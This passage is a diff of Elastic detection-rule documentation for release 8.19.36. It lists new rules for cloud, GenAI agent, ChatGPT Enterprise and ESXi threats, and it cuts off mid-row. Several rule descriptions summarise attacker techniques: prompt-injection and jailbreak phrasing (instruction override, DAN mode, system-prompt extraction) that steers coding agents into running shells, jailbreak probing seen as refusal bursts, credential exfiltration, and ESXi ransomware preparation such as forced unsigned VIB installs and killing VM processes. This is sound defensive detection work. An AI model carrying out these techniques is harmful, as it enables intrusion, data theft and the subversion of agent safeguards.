+include::prebuilt-rule-8-19-36-aws-bedrock-agentcore-resource-created-with-iam-execution-role.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc[] +include::prebuilt-rule-8-19-36-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc[] +include::prebuilt-rule-8-19-36-unusual-high-confidence-content-filter-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-36-potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc[] +include::prebuilt-rule-8-19-36-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-36-unusual-high-denied-topic-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc[] +include::prebuilt-rule-8-19-36-unusual-high-word-policy-blocks-detected.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-high-risk-filesystem-or-execution-tool-invocation.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc[] +include::prebuilt-rule-8-19-36-entra-id-service-principal-with-unusual-source-asn.asciidoc[] +include::prebuilt-rule-8-19-36-entra-id-application-credential-modified.asciidoc[] +include::prebuilt-rule-8-19-36-entra-id-conditional-access-policy-cap-modified.asciidoc[] +include::prebuilt-rule-8-19-36-entra-id-global-administrator-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-36-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc[] +include::prebuilt-rule-8-19-36-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-36-potential-denial-of-azure-openai-ml-service.asciidoc[] +include::prebuilt-rule-8-19-36-azure-openai-insecure-output-handling.asciidoc[] +include::prebuilt-rule-8-19-36-potential-azure-openai-model-theft.asciidoc[] +include::prebuilt-rule-8-19-36-google-workspace-bitlocker-setting-disabled.asciidoc[] +include::prebuilt-rule-8-19-36-kubernetes-service-account-token-created-via-tokenrequest-api.asciidoc[] +include::prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostipc.asciidoc[] +include::prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostnetwork.asciidoc[] +include::prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostpid.asciidoc[] +include::prebuilt-rule-8-19-36-potential-ssh-brute-force-detected-via-macos-security-events.asciidoc[] +include::prebuilt-rule-8-19-36-potential-successful-ssh-brute-force-attack-via-macos-security-events.asciidoc[] +include::prebuilt-rule-8-19-36-persistence-via-a-hidden-plist-filename-via-macos-security-events.asciidoc[] +include::prebuilt-rule-8-19-36-launch-item-registration-with-suspicious-executable-path-via-macos-security-events.asciidoc[] +include::prebuilt-rule-8-19-36-excessive-sudo-authentication-failures-via-macos-security-events.asciidoc[] +include::prebuilt-rule-8-19-36-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc[] +include::prebuilt-rule-8-19-36-m365-identity-login-from-atypical-region.asciidoc[] +include::prebuilt-rule-8-19-36-m365-sharepoint-site-administrator-added.asciidoc[] +include::prebuilt-rule-8-19-36-okta-aitm-session-cookie-replay.asciidoc[] +include::prebuilt-rule-8-19-36-potential-okta-mfa-bombing-via-push-notifications.asciidoc[] +include::prebuilt-rule-8-19-36-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc[] +include::prebuilt-rule-8-19-36-okta-user-sessions-started-from-different-geolocations.asciidoc[] +include::prebuilt-rule-8-19-36-ipv4-ipv6-forwarding-activity.asciidoc[] +include::prebuilt-rule-8-19-36-potential-openssh-backdoor-logging-activity.asciidoc[] +include::prebuilt-rule-8-19-36-access-control-list-modification-via-setfacl.asciidoc[] +include::prebuilt-rule-8-19-36-attempt-to-disable-auditd-service.asciidoc[] +include::prebuilt-rule-8-19-36-file-made-immutable-by-chattr.asciidoc[] +include::prebuilt-rule-8-19-36-file-permission-modification-in-writable-directory.asciidoc[] +include::prebuilt-rule-8-19-36-potential-hex-payload-execution-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-36-potential-hex-payload-execution-via-common-utility.asciidoc[] +include::prebuilt-rule-8-19-36-creation-of-hidden-files-and-directories-via-commandline.asciidoc[] +include::prebuilt-rule-8-19-36-base64-decoded-payload-piped-to-interpreter.asciidoc[] +include::prebuilt-rule-8-19-36-kernel-module-removal.asciidoc[] +include::prebuilt-rule-8-19-36-linux-firewall-rule-creation-or-modification.asciidoc[] +include::prebuilt-rule-8-19-36-system-log-file-deletion.asciidoc[] +include::prebuilt-rule-8-19-36-shared-object-load-via-lolbin.asciidoc[] +include::prebuilt-rule-8-19-36-potential-proxy-execution-via-systemd-run.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-kernel-feature-activity.asciidoc[] +include::prebuilt-rule-8-19-36-system-information-discovery-via-dmidecode-from-parent-shell.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-discovery-via-grep.asciidoc[] +include::prebuilt-rule-8-19-36-pluggable-authentication-module-pam-version-discovery.asciidoc[] +include::prebuilt-rule-8-19-36-polkit-version-discovery.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-proc-maps-discovery.asciidoc[] +include::prebuilt-rule-8-19-36-security-file-access-via-common-utilities.asciidoc[] +include::prebuilt-rule-8-19-36-virtual-machine-fingerprinting.asciidoc[] +include::prebuilt-rule-8-19-36-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc[] +include::prebuilt-rule-8-19-36-process-backgrounded-by-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-36-potential-reverse-shell-via-java.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc[] +include::prebuilt-rule-8-19-36-unusual-pkexec-execution.asciidoc[] +include::prebuilt-rule-8-19-36-potential-data-exfiltration-through-wget.asciidoc[] +include::prebuilt-rule-8-19-36-memory-swap-modification.asciidoc[] +include::prebuilt-rule-8-19-36-connection-to-external-network-via-telnet.asciidoc[] +include::prebuilt-rule-8-19-36-connection-to-internal-network-via-telnet.asciidoc[] +include::prebuilt-rule-8-19-36-renaming-of-openssh-binaries.asciidoc[] +include::prebuilt-rule-8-19-36-grub-configuration-generation-through-built-in-utilities.asciidoc[] +include::prebuilt-rule-8-19-36-kde-autostart-script-or-desktop-file-creation.asciidoc[] +include::prebuilt-rule-8-19-36-kernel-object-file-creation.asciidoc[] +include::prebuilt-rule-8-19-36-linux-user-added-to-privileged-group.asciidoc[] +include::prebuilt-rule-8-19-36-openssl-password-hash-generation.asciidoc[] +include::prebuilt-rule-8-19-36-shared-object-created-by-previously-unknown-process.asciidoc[] +include::prebuilt-rule-8-19-36-systemd-service-override-configuration-file-created.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-child-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-command-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-36-network-connections-initiated-through-xdg-autostart-entry.asciidoc[] +include::prebuilt-rule-8-19-36-namespace-manipulation-using-unshare.asciidoc[] +include::prebuilt-rule-8-19-36-first-time-python-accessed-sensitive-credential-files.asciidoc[] +include::prebuilt-rule-8-19-36-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc[] +include::prebuilt-rule-8-19-36-first-time-python-spawned-a-shell-on-host.asciidoc[] +include::prebuilt-rule-8-19-36-curl-execution-via-shell-profile.asciidoc[] +include::prebuilt-rule-8-19-36-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-calendar-file-modification.asciidoc[] +include::prebuilt-rule-8-19-36-cobalt-strike-command-and-control-beacon.asciidoc[] +include::prebuilt-rule-8-19-36-potential-dns-tunneling-via-null-or-long-dns-queries.asciidoc[] +include::prebuilt-rule-8-19-36-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-36-possible-fin7-dga-command-and-control-behavior.asciidoc[] +include::prebuilt-rule-8-19-36-first-seen-external-mqtt-broker-connection.asciidoc[] +include::prebuilt-rule-8-19-36-halfbaked-command-and-control-beacon.asciidoc[] +include::prebuilt-rule-8-19-36-multiple-dhcp-servers-responding-to-the-same-transaction.asciidoc[] +include::prebuilt-rule-8-19-36-potential-netscaler-log-poisoning-command-injection-attempt.asciidoc[] +include::prebuilt-rule-8-19-36-potential-redis-lua-use-after-free-rce-attempt-cve-2025-49844-redishell.asciidoc[] +include::prebuilt-rule-8-19-36-connection-to-commonly-abused-web-services.asciidoc[] +include::prebuilt-rule-8-19-36-network-activity-to-a-suspicious-top-level-domain.asciidoc[] +include::prebuilt-rule-8-19-36-first-time-seen-remote-monitoring-and-management-tool.asciidoc[] +include::prebuilt-rule-8-19-36-port-forwarding-rule-addition.asciidoc[] +include::prebuilt-rule-8-19-36-remote-file-download-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-36-privileged-accounts-brute-force.asciidoc[] +include::prebuilt-rule-8-19-36-multiple-logon-failure-from-the-same-source-address.asciidoc[] +include::prebuilt-rule-8-19-36-potential-credential-access-via-dcsync.asciidoc[] +include::prebuilt-rule-8-19-36-access-to-a-sensitive-ldap-attribute.asciidoc[] +include::prebuilt-rule-8-19-36-user-account-exposed-to-kerberoasting.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-lsass-process-access.asciidoc[] +include::prebuilt-rule-8-19-36-proxy-execution-via-console-window-host.asciidoc[] +include::prebuilt-rule-8-19-36-microsoft-windows-defender-tampering.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-microsoft-html-application-child-process.asciidoc[] +include::prebuilt-rule-8-19-36-msiexec-service-child-process-with-network-connection.asciidoc[] +include::prebuilt-rule-8-19-36-unusual-network-activity-from-a-windows-system-binary.asciidoc[] +include::prebuilt-rule-8-19-36-potential-powershell-obfuscated-script-via-high-entropy.asciidoc[] +include::prebuilt-rule-8-19-36-powershell-obfuscation-via-negative-index-string-reversal.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-microsoft-diagnostics-wizard-execution.asciidoc[] +include::prebuilt-rule-8-19-36-script-execution-via-microsoft-html-application.asciidoc[] +include::prebuilt-rule-8-19-36-solarwinds-process-disabling-services-via-registry.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-execution-via-windows-subsystem-for-linux.asciidoc[] +include::prebuilt-rule-8-19-36-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc[] +include::prebuilt-rule-8-19-36-adfind-command-activity.asciidoc[] +include::prebuilt-rule-8-19-36-whoami-process-activity.asciidoc[] +include::prebuilt-rule-8-19-36-command-execution-via-solarwinds-process.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-solarwinds-child-process.asciidoc[] +include::prebuilt-rule-8-19-36-potential-clickfix-command-via-windows-run-dialog.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-windows-command-shell-arguments.asciidoc[] +include::prebuilt-rule-8-19-36-potential-filefix-command-via-windows-explorer-address-bar.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-windows-powershell-arguments.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-execution-via-microsoft-office-add-ins.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc[] +include::prebuilt-rule-8-19-36-smb-connections-via-lolbin-or-untrusted-process.asciidoc[] +include::prebuilt-rule-8-19-36-potential-lateral-tool-transfer-via-smb-share.asciidoc[] +include::prebuilt-rule-8-19-36-incoming-execution-via-powershell-remoting.asciidoc[] +include::prebuilt-rule-8-19-36-unusual-child-process-of-dns-exe.asciidoc[] +include::prebuilt-rule-8-19-36-persistence-via-microsoft-office-addins.asciidoc[] +include::prebuilt-rule-8-19-36-persistence-via-a-windows-installer.asciidoc[] +include::prebuilt-rule-8-19-36-startup-or-run-key-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-36-unusual-scheduled-task-update.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-service-was-installed-in-the-system.asciidoc[] +include::prebuilt-rule-8-19-36-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc[] +include::prebuilt-rule-8-19-36-web-shell-detection-script-process-child-of-common-web-processes.asciidoc[] +include::prebuilt-rule-8-19-36-process-creation-via-secondary-logon.asciidoc[] +include::prebuilt-rule-8-19-36-modification-of-the-mspkiaccountcredentials.asciidoc[] +include::prebuilt-rule-8-19-36-startup-logon-script-added-to-group-policy-object.asciidoc[] +include::prebuilt-rule-8-19-36-scheduled-task-execution-at-scale-via-gpo.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-print-spooler-spl-file-created.asciidoc[] +include::prebuilt-rule-8-19-36-sedebugprivilege-enabled-by-a-suspicious-process.asciidoc[] diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rules-8-19-36-summary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rules-8-19-36-summary.asciidoc new file mode 100644 index 0000000000..4f12e682e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rules-8-19-36-summary.asciidoc @@ -0,0 +1,578 @@ +[[prebuilt-rule-8-19-36-prebuilt-rules-8-19-36-summary]] +[role="xpack"] +== Update v8.19.36 + +This section lists all updates associated with version 8.19.36 of the Fleet integration *Prebuilt Security Detection Rules*. + + +[width="100%",options="header"] +|============================================== +|Rule |Description |Status |Version + +|<> | Detects shells or scripting interpreters launched from a parent command line that contains common LLM prompt-injection or jailbreak language. Attackers (or malicious content ingested by an agent) use instruction-override, DAN/developer- mode, system-prompt extraction, and safety-filter bypass phrasing to coerce GenAI coding agents and automation wrappers into running attacker-chosen commands. When that injected text reaches a child shell or interpreter, it is a strong signal that untrusted prompt content is crossing into local code execution, enabling credential theft, data exfiltration, persistence, or further tool abuse under the user's privileges. | new | 1 + +|<> | This rule identifies the first segmentation fault, SIGSEGV, signal 11 termination, or Windows access-violation status observed in web-server error logs for a host during the configured history window. An unexpected web-server crash can indicate attempted exploitation of a memory-safety vulnerability, including attempts that fail before code execution, although software defects and resource problems can produce the same behavior. | new | 1 + +|<> | This rule identifies the first PHP fatal error observed on a web server during the configured history window. PHP fatal errors are not inherently malicious, but a newly observed fatal condition can indicate exploitation of a previously unseen application or PHP engine failure. The rule is intentionally generic so it can identify both known and novel exploit attempts that terminate PHP request processing. | new | 1 + +|<> | This rule detects a distinctive PHP out-of-memory fatal error associated with PHP2Shell exploitation attempts. The combination of an allowed-memory-size exhaustion and the location "Unknown on line 0" is produced before normal application execution and is an indicator of attempts to exploit PHP memory-safety vulnerabilities, including CVE-2026-109618 and CVE-2026-109619. The rule can detect unsuccessful as well as successful attempts and does not, by itself, confirm remote code execution. | new | 1 + +|<> | Detects the successful creation of an Amazon Bedrock AgentCore Browser or Code Interpreter with an execution IAM role and public network access. These sandboxes run agent-generated code or automated browsing on the caller's behalf, and the attached role lets the sandbox call other AWS services. Public network mode removes the sandbox's network containment, so a sandbox steered by prompt injection, malicious tool output, or code-execution abuse can reach the internet and pivot into other AWS resources with the role's permissions. Review the role scope and whether public egress is required. | new | 1 + +|<> | Identifies a burst of failed tool invocations against a single AWS Bedrock AgentCore Gateway within a short window. Individual tool calls fail routinely from bad input or transient upstream errors, but a concentrated run of failures against one gateway can indicate an attacker, or a compromised tool wrapper, probing a tool's parameter surface for an injection point, an authorization bypass, or a schema weakness. Failures can be attributed only to the gateway, not to a specific tool, target, or caller, and a target that is broken for every caller produces the same burst as one caller probing it, so confirm gateway and target health before treating a burst as malicious. | new | 1 + +|<> | Detects a successful Microsoft Entra ID Register device audit event for an Azure AD join or Azure AD register whose user agent is a Dsreg client string hardcoded by device-registration tooling. "Dsreg/10.0 (Windows 10.0.19045.2006)" is the frozen user agent used by device code and adversary-in-the-middle (AiTM) phishing-as-a-service kits such as Tycoon2FA and Kali365 when they register a device after capturing a victim session. "Dsreg/10.0 (Windows 10.0.19041.928)" is the default user agent used by ROADtools (roadtx) for Windows device registration. Adversaries register these devices to obtain a Primary Refresh Token (PRT) and persist access that survives password resets and user-level session revocation. | new | 1 + +|<> | Identifies an Entra ID application (service principal) assigning itself to a privileged directory role. An application typically does not promote itself, and a multi-tenant vendor application is even more uncommon. Any service principal self-assigning a privileged role should be investigated. Adversaries may compromise vendor application credentials and then escalate privileges to Exchange Administrator or Global Administrator, or subsequently add client secrets to other applications. | new | 1 + +|<> | Identifies when a privileged Microsoft Entra ID directory role is assigned from one account to a different account. The actor can be a user or an application (service principal), and the member can be a user or a service principal. Privileged roles can be used to take over the tenant, reset credentials, add credentials to applications, or control mail and collaboration services, so an unexpected assignment is a strong persistence and privilege escalation signal. Adversaries that compromise an administrator or a vendor application may grant a privileged role to an account they control. | new | 1 + +|<> | Detects a single source IP making a high number of Vertex AI GenerateContent (or StreamGenerateContent) audit calls against the same model resource in the lookback window. That pattern fits model extraction, automated scraping, or a compromised caller burning prediction quota. | new | 2 + +|<> | Detects changes to Vertex AI publisher model configuration via SetPublisherModelConfig (for example enabling or retargeting prompt/response BigQuery logging). Unexpected config changes can disable security-relevant logging or redirect logs. | new | 2 + +|<> | Detects the first time a Vertex AI Agent Engine caller executes code in a sandboxEnvironment from a given source autonomous system. First-time sandbox execution by a user and source ASN can indicate a new workload, stolen credentials used from an unusual network, or early Agent Engine abuse before broader sandbox reuse is visible. | new | 1 + +|<> | Detects when a user authorizes a GitHub OAuth application. Stolen OAuth grants persist after password changes until revoked and can clone or ZIP private repositories. This is not a GitHub App installation (integration_installation.create). | new | 1 + +|<> | Detects the first ChatGPT Enterprise Codex MCP tool name used by a given user email within an organization in the rule history window. Codex MCP tools can query external systems and pull organizational data into an agent session. Alerting on first-seen organization, user, and tool triples highlights new or unexpected connector usage rather than every routine approved tool call. | new | 3 + +|<> | Detects a ChatGPT Enterprise user issuing five or more distinct Google Drive app search queries in a five-minute bucket where at least one query matches sensitive-data themes (payroll, payslip, confidential, payment, NDA, credentials, and similar). Adversaries who abuse a linked Drive connector after session compromise often run rapid multi-term searches to locate high-value files before download or sharing. | new | 2 + +|<> | Detects a ChatGPT Enterprise Codex user invoking a high number of distinct MCP tools across multiple connectors within a 30-minute bucket. Broad tool and connector diversity in a short window can indicate compromised-account recon, unauthorized multi-system collection, or an agent rapidly enumerating organizational data sources. | new | 3 + +|<> | Detects the first time a ChatGPT Enterprise MCP app name is used by a given user email within an organization in the rule history window. MCP apps connect ChatGPT to external systems and can move organizational data into third-party tools. Alerting on first-seen organization, user, and app id triples highlights new or unexpected connector usage rather than every routine approved MCP request. App name is still required in the query for investigation context. | new | 1 + +|<> | Detects a ChatGPT Enterprise user issuing ten or more distinct Slack app search queries in a five-minute bucket. Adversaries who abuse a linked Slack connector after session compromise often run rapid multi-query searches across channels and messages to locate sensitive content before collection or exfiltration. | new | 2 + +|<> | Detects ChatGPT Enterprise audit events where workspace compliance log files are listed or downloaded. Attackers pull audit and conversation exports to understand defender visibility or stage sensitive transcript data before further abuse. | new | 1 + +|<> | Detects ChatGPT Enterprise activity for the same user email from at least three countries and two unique user agents within a four-hour interval across any compliance data stream. Stolen session cookies often produce post-auth activity (conversation views, deletions, downloads) without a new login event, so this rule is not limited to authentication logs. | new | 1 + +|<> | Detects ChatGPT Enterprise assistant messages that recognize likely exposed secrets in chat and advise rotating, revoking, regenerating, invalidating, or deactivating credentials (API keys, access keys, passwords, tokens, and similar). Users or adversaries who paste live secrets into conversations create credential-exposure risk; the assistant's rotation advice is a strong signal that a secret was present in the prior turns. | new | 1 + +|<> | Detects ChatGPT Enterprise Codex prompt or response text that matches known credential patterns. Secrets pasted into Codex sessions can be retained in compliance logs and may be reused by agent tool calls. | new | 1 + +|<> | Detects ChatGPT Enterprise conversation messages whose text matches known credential patterns (cloud keys, GitHub tokens, private keys, Slack/SendGrid tokens, Stripe/OpenAI/Anthropic keys, Vault/Docker tokens, JWTs, or Azure storage keys). Secrets pasted into chats can be retained in compliance logs and model context. | new | 1 + +|<> | Detects multiple failed ChatGPT Enterprise login attempts for the same user email within a short window. Password spraying or credential stuffing against enterprise accounts often precedes a successful compromise. | new | 1 + +|<> | Detects ChatGPT Enterprise Codex security-log events that create or update a repository scan configuration. Changing scan scope, lookback, or notification rules can weaken secrets scanning coverage or redirect findings. | new | 1 + +|<> | Detects an unusually high number of ChatGPT Enterprise conversation deletion events for the same user within a rolling 24-hour lookback. Mass deletion can indicate an attempt to remove conversation history or cover tracks after misuse. | new | 1 + +|<> | Detects ChatGPT Enterprise audit events that delete stored memory. Adversaries may delete memory entries to remove evidence of prior prompts, preferences, or staging instructions after misuse. | new | 1 + +|<> | Detects three or more ChatGPT Enterprise assistant messages for the same user whose text matches common policy-refusal phrases (cannot assist, cannot help, cannot fulfill, unable to assist, against my guidelines, and similar) within the lookback window. A refusal burst can indicate jailbreak probing, policy-bypass attempts, or automated unsafe prompting intended to evade model safety controls. | new | 2 + +|<> | Detects ChatGPT Enterprise audit events that toggle a workspace feature flag (for example GPT sharing). Adversaries may enable sharing or weaken controls to persist access or broaden data exposure. | new | 1 + +|<> | Detects ChatGPT Enterprise audit events where a workspace compliance log file is deleted (`delete_workspace_log_file`). Adversaries with privileged access may delete exported audit or conversation log archives to remove evidence from compliance workflows and hinder investigation. | new | 1 + +|<> | Detects ChatGPT Enterprise audit events where a conversation is shared. Sharing can expose prompts, completions, and attached files outside the original conversation participants and may be used to exfiltrate sensitive content. | new | 1 + +|<> | Detects ChatGPT Enterprise audit events that publish a GPT or update sharing for GPTs, skills, or projects (`gpt_publish`, `update_sharing`, `skill_share`, `project_update_sharing`). Broadening share scope can expose custom instructions, tools, or proprietary agent configurations beyond the original audience. | new | 1 + +|<> | Detects a high number of ChatGPT Enterprise file download audit events for the same user within a rolling 24-hour lookback. Bulk downloads can indicate staging of conversation attachments or workspace files for exfiltration. | new | 1 + +|<> | Detects successful ChatGPT Enterprise authentication events where the user agent looks scripted (for example Python, curl, Go HTTP clients, aiohttp, scrapers, or headless browsers) rather than a normal browser. Adversaries and automation often reuse stolen sessions or tokens with non-browser clients. | new | 1 + +|<> | Detects ChatGPT Enterprise audit events where a user role is updated to account-owner. Account owners control workspace membership, connectors, usage limits, and other security-sensitive settings. An adversary who promotes a compromised account to owner gains durable control-plane access. | new | 1 + +|<> | Detects ChatGPT Enterprise app authentication events that link a third-party app to a user or workspace. Linking apps establishes durable OAuth-style access that adversaries can use to persist connectors after initial compromise. | new | 1 + +|<> | Detects ChatGPT Enterprise Codex events that create an access token. Codex access tokens enable automated CLI or environment access and can be abused for persistence or lateral automation after account compromise. Treat tokens with a missing `expires_at` as higher priority during triage. | new | 1 + +|<> | Detects the first ChatGPT Enterprise Codex plugin install for a given plugin display name and plugin name pair within the rule history window. Newly installed Codex plugins expand the tools and data sources available inside agent sessions; adversaries can enable unexpected connectors to persist access to mail, chat, or file systems after initial compromise. | new | 1 + +|<> | Detects ChatGPT Enterprise custom-agent publish events (`agent_published`). Publishing an agent with connectors, skills, or store visibility can establish durable automation and broaden data access beyond the original user. | new | 1 + +|<> | Detects ChatGPT Enterprise custom-agent events that create or update a trigger. Triggers can schedule or event-drive agent runs without interactive user presence, enabling persistence and automation abuse. | new | 1 + +|<> | Detects ChatGPT Enterprise audit events that create a workspace domain boundary entry. Domain changes can expand who is allowed to join or access the tenant and may establish persistence for attacker-controlled domains. | new | 1 + +|<> | Detects ChatGPT Enterprise audit events that invite a new user into the workspace. An adversary who compromises an administrator can invite a mailbox they control to gain durable access. | new | 1 + +|<> | Detects `curl` or `wget` from the ESXi shell. These tools download a file or contact a remote URL from the hypervisor. A successful transfer can place a package or script on the host, often under `/tmp`, where a later command can execute it against the datastore. | new | 1 + +|<> | Detects three or more failed ESXi logons for the same account from the same remote address within 10 minutes. Hostd records each failure from `pam_do_authenticate` with the login name and `rhost`. Repeated failures from one source are password guessing against that account and can lock it or come just before a successful login. | new | 1 + +|<> | Detects ESXi audit record transmission being turned off, locally or to a remote collector. Audit records are the host's own trail of administrative changes. Disabling them means later changes to accounts, the firewall, and SSH are not recorded there. | new | 1 + +|<> | Detects chmod making a file executable on an ESXi host, including `+x` and numeric modes such as `755` and `777`. The host will not run a file until the execute bit is set. Making a file under `/tmp` executable is the step that lets a later command launch it against the datastore. | new | 1 + +|<> | Detects ESXi ExecInstalledOnly protection being turned off. The setting limits execution to binaries that were installed by a VIB and have not been modified. When it is set to false, the host can run files from paths such as `/tmp` that were never part of the system image. | new | 1 + +|<> | Detects the ESXi firewall being turned off or switched to a default allow. The firewall is the host filter for management services. Disabling it, or setting the default action to accept, lets later connections reach services that were previously blocked. | new | 1 + +|<> | Detects an attempt to install a VMware VIB with `--force`. A VIB is how ESXi adds drivers and host software, and signature checks normally block an unsigned package. `--force` skips that validation, so an untrusted package can be written onto the hypervisor and affect every virtual machine it runs. | new | 1 + +|<> | Detects a shell `rm` of a path under `/var/log` or of a `*.log` name. Those files hold shell commands, authentication, and hostd activity. Removing them takes away the record of what changed on the host. | new | 1 + +|<> | Detects the disabling of ESXi lockdown mode, a critical security feature that restricts remote access to ESXi hosts. When lockdown mode is disabled, remote users can directly access and modify ESXi host configurations using the root login. When enabled, the ESXi host is accessible only through the local console or vCenter Server. | new | 1 + +|<> | Detects ESXi shell commands that rebuild a command with encoding instead of writing it in clear text, including octal and hex `printf`, Python `chr()`, `awk` `%c` sequences, reversed strings, and invisible Unicode. The shell log then hides the administrative command. The decoded action can still change syslog, the firewall, or other host settings. | new | 1 + +|<> | Detects three changes on the same ESXi host within 1 hour: SSH enabled, ExecInstalledOnly turned off, and a VIB install with `-f` or `--force` and `--no-sig-check`. Together they open a remote shell, allow unsigned code to run, and bypass VIB signature checks. That sequence prepares the host to receive and run a package the normal controls would reject. | new | 2 + +|<> | Detects the ESXi remote syslog destination being cleared with `--reset=loghost`. The loghost is where host logs are forwarded for retention and detection. Clearing it keeps later commands on the host only, so an external collector stops receiving them. | new | 1 + +|<> | Detects shell commands that collect ESXi host details or the local account list, including `uname -a`, system version, hostname, and `esxcli system account list`. The output identifies the build and the accounts that can log in. Listing accounts shows which identities exist before one of them is changed or used. | new | 1 + +|<> | Detects a shell search under `/vmfs/volumes` for virtual disk and snapshot files (`vmdk`, `vmsn`, `vmsd`). Those files are the guest disks and their on-host recovery points. Listing them builds the set of files a later process can encrypt or delete. | new | 1 + +|<> | Detects `esxcli vm process list` on an ESXi host. The command lists running virtual machines and the world IDs of their `vmx` processes. Those IDs are what a later kill command uses to stop the VMs and release the locks on their virtual disks. | new | 1 + +|<> | Detects a program launched from the ESXi shell against `/vmfs/volumes`. The datastore holds the virtual disks of every guest. A process pointed at that path can read or encrypt those disks and take the hosted virtual machines offline. | new | 1 + +|<> | Detects removal of all snapshots for an ESXi virtual machine. Snapshots are on-host recovery points for a guest. Removing all of them deletes those recovery points, so the virtual machine cannot be reverted to an earlier disk state. | new | 1 + +|<> | Detects `vim-cmd vmsvc/power.off` on an ESXi host. Powering a virtual machine off releases the lock the hypervisor holds on its virtual disks. With the guest stopped, those disks can be rewritten or encrypted while the machine is down. | new | 1 + +|<> | Detects termination of a virtual machine process on an ESXi host, including `esxcli vm process kill`, `pkill` of `vmx` processes, and `vmdumper` suspend. A running VM holds a lock on its disks. Stopping the process releases that lock and makes the disks writable. | new | 1 + +|<> | Detects hostd accepting the ESXi root password from a remote address. A successful remote root login opens the Host Client or the API with full control of the host. Local sessions from 127.0.0.1 are left out of the rule. | new | 1 + +|<> | Detects ESXi SSH being turned on. SSH is often left disabled so the host is managed through the local console, the Host Client, or vCenter. Enabling it opens a remote shell that can copy files onto the host and run commands against the datastore. | new | 1 + +|<> | Identifies a successful SSH session opened by the privileged vpxuser account. vpxuser is a service account used by VMware vCenter Server to manage ESXi hosts. An SSH session from that account reaches the host shell directly, outside the vCenter management path, and is a sign the credential is being reused with malicious intent. | new | 1 + +|<> | Detects creation of a local ESXi account. A new account is a separate login that remains after the session that created it. It has no rights until a role is assigned, and it is the first step toward a persistent login on the host. | new | 1 + +|<> | Detects an ESXi account being granted the Administrator role. Administrator is full control of the host, including the firewall, SSH, accounts, and every virtual machine. Granting it to another account keeps that access after the original session ends. | new | 1 + +|<> | Detects a change to the ESXi root password, the credential for SSH, the Host Client, and the API. Replacing it locks out the previous password and gives the new value full control of the host. Hostd records `Password was changed for account root`. The shell records `esxcli system account set -i root`. | new | 1 + +|<> | This rule detects outbound connection attempts from unusual Linux process locations or common living-off-the-land utilities to autonomous systems associated with bulletproof or high-abuse hosting. Adversaries often stage payloads in world-writable or web directories and beacon to infrastructure that ignores abuse reports, including providers such as Storm Industries, Ecatel/IP Volume, Aeza, and Proton66. | new | 1 + +|<